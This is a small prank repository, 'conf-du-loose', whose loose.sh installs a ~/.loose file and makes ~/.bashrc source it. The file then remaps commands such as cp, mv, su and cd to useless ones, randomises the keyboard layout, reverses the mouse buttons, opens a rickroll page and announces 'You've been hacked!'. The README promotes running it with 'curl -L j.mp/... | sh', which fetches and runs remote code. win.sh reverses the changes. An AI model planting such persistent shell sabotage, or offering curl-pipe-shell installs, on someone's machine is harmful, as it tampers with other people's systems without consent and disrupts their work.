├── .travis.yaml ├── Makefile ├── .travis.yml ├── win.sh ├── Dockerfile ├── README.md ├── loose.sh └── LICENSE /.travis.yaml: -------------------------------------------------------------------------------- 1 | language: bash 2 | command: bash -n *.sh 3 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | docker build -t conf-du-loose . 3 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: bash 2 | services: docker 3 | sudo: required 4 | script: make test 5 | -------------------------------------------------------------------------------- /win.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | rm -f ~/.loose 4 | setxkbmap fr # need to save the old value 5 | xmodmap -e "pointer = 1 2 3"; 6 | sed -i '/source\ \~\/\.loose/d' ~/.bashrc 7 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM dorowu/ubuntu-desktop-lxde-vnc 2 | 3 | ADD ./loose.sh ./win.sh / 4 | 5 | # Install ~/.loose 6 | RUN sh -xe /loose.sh 7 | 8 | # Run ~/.loose 9 | RUN set -xe; . ~/.loose; exit 0 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Build Status](https://travis-ci.org/moul/conf-du-loose.svg?branch=master)](https://travis-ci.org/moul/conf-du-loose) 2 | 3 | # `curl -L j.mp/looose | sh` 4 | 5 | ## `curl -L http://j.mp/wiiiiiin | sh` 6 | -------------------------------------------------------------------------------- /loose.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | 4 | cat < ~/.loose 5 | # aliases 6 | alias vim=emacs 7 | alias cd=ls 8 | alias cat=rev 9 | alias cp=yes 10 | alias mv=yes 11 | alias su=yes 12 | alias scp="echo JE SUIS UN GLAND" 13 | 14 | # rickrolled 15 | ( 16 | hash google-chrome && ( 17 | google-chrome rickroll.fr 18 | ) || true 19 | ) 2>/dev/null 20 | 21 | # change keyboard layout 22 | ( 23 | hash localectl && ( 24 | setxkbmap \`localectl list-keymaps | shuf -n 1\` 25 | ) || setxkbmap dvorak || true 26 | ) 2>/dev/null 27 | 28 | # mouse 29 | ( 30 | xset mouse 3 0 || true 31 | xmodmap -e "pointer = 3 2 1" || true 32 | ) 2>/dev/null 33 | 34 | echo "You've been hacked!" 35 | echo " You are now using a randomly chosen keyboard (or dvorak)" 36 | echo " To 'repair' your computer, you need to undo everything in ~/.loose file" 37 | echo " Or execute this script: http://j.mp/wiiiiiin" 38 | echo "Tchuss" 39 | 40 | EOF 41 | 42 | grep .loose ~/.bashrc 2>/dev/null || echo "source ~/.loose" >> ~/.bashrc 43 | 44 | #. ~/.loose 45 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 Manfred Touron 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | --------------------------------------------------------------------------------